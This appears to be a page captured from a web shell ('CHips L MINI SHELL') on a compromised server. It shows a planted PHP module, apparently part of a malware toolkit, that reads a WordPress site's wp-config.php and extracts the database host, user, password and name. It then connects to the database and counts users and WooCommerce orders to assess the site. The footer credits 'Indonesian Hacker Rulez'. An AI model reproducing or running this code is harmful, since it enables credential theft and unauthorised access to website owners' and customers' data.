CHips L MINI SHELL

CHips L pro

Current Path : /tmp/mbdvd15/
Upload File :
Current File : //tmp/mbdvd15/sess_65beb914521e3326955339d04393766ccms_wp

<?php
class mbd_cms_wp
{
    function __construct($core)
    {
        $this->core = $core;
    }
    
    function mysql_config()
    {
        $file = $this->core->root.'/wp-config.php';
        if(!is_file($file)) return $this->core->out('not config file');
        $file = $this->core->file_get($file);
        $result = array();
        foreach(array('DB_HOST','DB_USER','DB_PASSWORD','DB_NAME') AS $i => $n)
        {
            if(preg_match('|'.$n.'(?:[\'\"\s\,]+)(.+)[\'\"]\s?\)|', $file, $a))
            {
                $result[$i] = $a[1];
            } else return $this->core->out('undefined '.$n);
        }
        $result[4] = preg_match('|\$table_prefix(?:[\'\"\s\=]+)(.+)[\'\"]|', $file, $a) ? $a[1] : 'wp_';
        return $result;
    }
    
    function info()
    {
        $db = $this->core->load('mysql');
        $db->connect($this->mysql_config());
        $this->core->data->type = $db->type;
        $orders = $db->find('SELECT COUNT(*) FROM @P_posts WHERE post_type=\'shop_order\'');
        $data = array(
            'users' => $db->find('SELECT COUNT(*) FROM @P_users'),
            'orders' => $orders,
            'date' => 0,
        );
        $this->core->data->result = $data;
    }
}

Copyright 2K16 - 2K18 Indonesian Hacker Rulez